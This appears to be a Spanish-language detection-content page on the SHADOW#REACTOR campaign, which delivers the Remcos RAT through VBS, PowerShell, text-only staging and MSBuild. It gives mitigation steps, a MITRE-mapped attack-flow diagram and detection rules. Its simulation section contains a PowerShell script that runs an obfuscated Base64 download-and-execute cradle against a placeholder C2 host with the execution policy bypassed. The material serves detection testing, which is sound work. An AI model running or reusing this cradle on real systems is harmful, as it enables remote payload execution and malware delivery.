SHADOW#REACTOR – ALMACENAMIENTO SOLO TEXTO, .NET REACTOR, E IMPLEMENTACIÓN EN MEMORIA DEL REMCOS RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
SHADOW#REACTOR es una cadena de malware de Windows de múltiples etapas que combina un lanzador VBS ofuscado, un descargador basado en PowerShell, artefactos de puesta en escena solo de texto, un cargador protegido por .NET Reactor y la ejecución de MSBuild para finalmente desplegar el troyano de acceso remoto Remcos (RAT).
Investigación
Los investigadores reconstruyeron el flujo comenzando con un script VBS recuperado de la infraestructura del atacante, seguido por rutinas de PowerShell que reensamblan y decodifican cargas útiles de texto en etapas. La cadena continúa con la carga reflexiva, en memoria, de un ensamblado .NET y un traspaso final a MSBuild, que desencadena la ejecución del RAT de Remcos. El informe documenta los componentes codificados en texto, la lógica de descifrado y los métodos de persistencia utilizados para mantener el acceso.
Mitigación
Aumente la cobertura de monitoreo para hosts e intérpretes de scripts y evite la ejecución de VBS/PowerShell desde rutas editables por el usuario donde sea posible. Agregue detecciones para tráfico HTTP saliente sospechoso hacia la infraestructura identificada, uso indebido de MSBuild y carga reflexiva de ensamblados .NET. Monitoree patrones comunes de persistencia, incluidas modificaciones de Run-key y entradas de inicio basadas en accesos directos.
Respuesta
Si se confirma la actividad de SHADOW#REACTOR, aísle el punto final y detenga toda la cadena de procesos (wscript.exe → powershell.exe → msbuild.exe). Elimine cualquier archivo de texto en etapa y artefactos de registro relacionados, y corrija eliminando los binarios de Remcos y los bloques de configuración asociados. Luego, realice una revisión forense exhaustiva para delimitar un compromiso adicional y asegurar la erradicación completa.
«graph TB %% Class Definitions Section classDef technique fill:#ffe699 classDef builtin fill:#cccccc classDef malware fill:#ff9999 %% Node definitions tech_user_execution[«<b>Técnica</b> – <b>T1204.002 Ejecución de Usuario: Archivo Malicioso</b><br/><b>Descripción</b>: La víctima ejecuta un archivo malicioso que lanza código.»] class tech_user_execution technique tool_wscript[«<b>Herramienta</b> – <b>Nombre</b>: wscript.exe<br/><b>Descripción</b>: Windows Script Host usado para ejecutar archivos VBScript.»] class tool_wscript builtin tech_vbscript_interp[«<b>Técnica</b> – <b>T1059.005 Intérprete de Comandos y Scripts: Visual Basic</b><br/><b>Descripción</b>: Ejecuta scripts de Visual Basic en el sistema host.»] class tech_vbscript_interp technique tech_powershell_interp[«<b>Técnica</b> – <b>T1059.001 Intérprete de Comandos y Scripts: PowerShell</b><br/><b>Descripción</b>: Ejecuta comandos y scripts de PowerShell.»] class tech_powershell_interp technique tech_http_comm[«<b>Técnica</b> – <b>T1071.001 Protocolo de Capa de Aplicación: Protocolos Web</b><br/><b>Descripción</b>: Utiliza HTTP/HTTPS para descargar fragmentos de carga desde servidores remotos.»] class tech_http_comm technique tech_obfuscation[«<b>Técnica</b> – <b>T1027 Archivos o Información Ofuscados</b><br/><b>Descripción</b>: La carga útil se codifica con Base64, XOR y se protege con .NET Reactor.»] class tech_obfuscation technique tech_reflective_loading[«<b>Técnica</b> – <b>T1620 Carga Reflexiva de Código</b> / <b>T1574.014 Secuestro del Flujo de Ejecución: AppDomainManager</b><br/><b>Descripción</b>: Carga un ensamblado .NET en memoria mediante el secuestro de AppDomainManager.»] class tech_reflective_loading technique tool_msbuild[«<b>Herramienta</b> – <b>Nombre</b>: MSBuild.exe<br/><b>Descripción</b>: Utilidad de desarrollador confiable abusada como LOLBin para lanzar la etapa final.»] class tool_msbuild builtin malware_remcos[«<b>Malware</b> – <b>Nombre</b>: Remcos RAT<br/><b>Descripción</b>: Troyano de acceso remoto usado para comando y control.»] class malware_remcos malware tech_shortcut_mod[«<b>Técnica</b> – <b>T1547.009 Modificación de Acceso Directo</b><br/><b>Descripción</b>: Crea un acceso directo LNK en la carpeta de inicio para lograr persistencia.»] class tech_shortcut_mod technique %% Connections showing attack flow tech_user_execution u002du002d>|ejecuta mediante| tool_wscript tool_wscript u002du002d>|ejecuta| tech_vbscript_interp tech_vbscript_interp u002du002d>|invoca| tech_powershell_interp tech_powershell_interp u002du002d>|descarga fragmentos mediante| tech_http_comm tech_http_comm u002du002d>|reconstruye carga| tech_obfuscation tech_obfuscation u002du002d>|carga en memoria mediante| tech_reflective_loading tech_reflective_loading u002du002d>|utiliza| tool_msbuild tool_msbuild u002du002d>|lanza| malware_remcos malware_remcos u002du002d>|puede crear| tech_shortcut_mod «
Flujo de Ataque
Detecciones
WScript / CScript de LOLBAS (mediante process_creation)
Ver
Cadenas de PowerShell Sospechosas (mediante powershell)
Ver
Binarios / Scripts Sospechosos en Ubicación de Inicio Automático (mediante file_event)
Ver
Archivos Sospechosos en el Perfil de Usuario Público (mediante file_event)
Ver
Ejecución Sospechosa desde el Perfil de Usuario Público (mediante process_creation)
Ver
Llamar Métodos .NET Sospechosos desde Powershell (mediante powershell)
Ver
IOCs (HashSha256) para detectar: SHADOW#REACTOR – ETAPAS DE SOLO TEXTO, .NET REACTOR Y DESPLIEGUE DE REMCOS RAT EN MEMORIA
Ver
IOCs (SourceIP) para detectar: SHADOW#REACTOR – ETAPAS DE SOLO TEXTO, .NET REACTOR Y DESPLIEGUE DE REMCOS RAT EN MEMORIA
Ver
IOCs (DestinationIP) para detectar: SHADOW#REACTOR – ETAPAS DE SOLO TEXTO, .NET REACTOR Y DESPLIEGUE DE REMCOS RAT EN MEMORIA
Ver
Detección de la Cadena de Infección SHADOW#REACTOR [Creación de Procesos de Windows]
Ver
Detección de Bypass de ExecutionPolicy y Comandos PowerShell Ofuscados [Windows Powershell]
Ver
Ejecución de Simulación
Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar exactamente la telemetría esperada por la lógica de detección.
-
Narrativa y Comandos de Ataque:
Un atacante con derechos de movimiento lateral limitados desea ejecutar una carga útil remota en un host de Windows comprometido mientras evade las defensas típicas de bloqueo de scripts. Usan PowerShell con-ExecutionPolicy Bypasspara ignorar las restricciones de política de ejecución. La carga útil maliciosa está ofuscada como una cadena codificada en Base64 que, cuando se decodifica, crea unSystem.Net.WebClientobjeto para descargar un script de PowerShell desde un servidor C2 y lo invoca. Esta combinación satisface los tres criterios de detección (Bypass de ExecutionPolicy,FromBase64String,System.Net.WebClient). -
Script de Prueba de Regresión:
#-------------------------------------------- # Ejecución simulada de PowerShell malicioso #-------------------------------------------- # 1. Elaborar un script remoto simple (solo para demostración) $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")' # 2. Codificar el script en Base64 $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript) $b64 = [Convert]::ToBase64String($bytes) # 3. Ejecutar con Bypass de ExecutionPolicy y FromBase64String PowerShell -ExecutionPolicy Bypass -Command " $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64')); Invoke-Expression $decoded " -
Comandos de Limpieza:
# Eliminar cualquier carga útil descargada y detener procesos de PowerShell persistentes Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue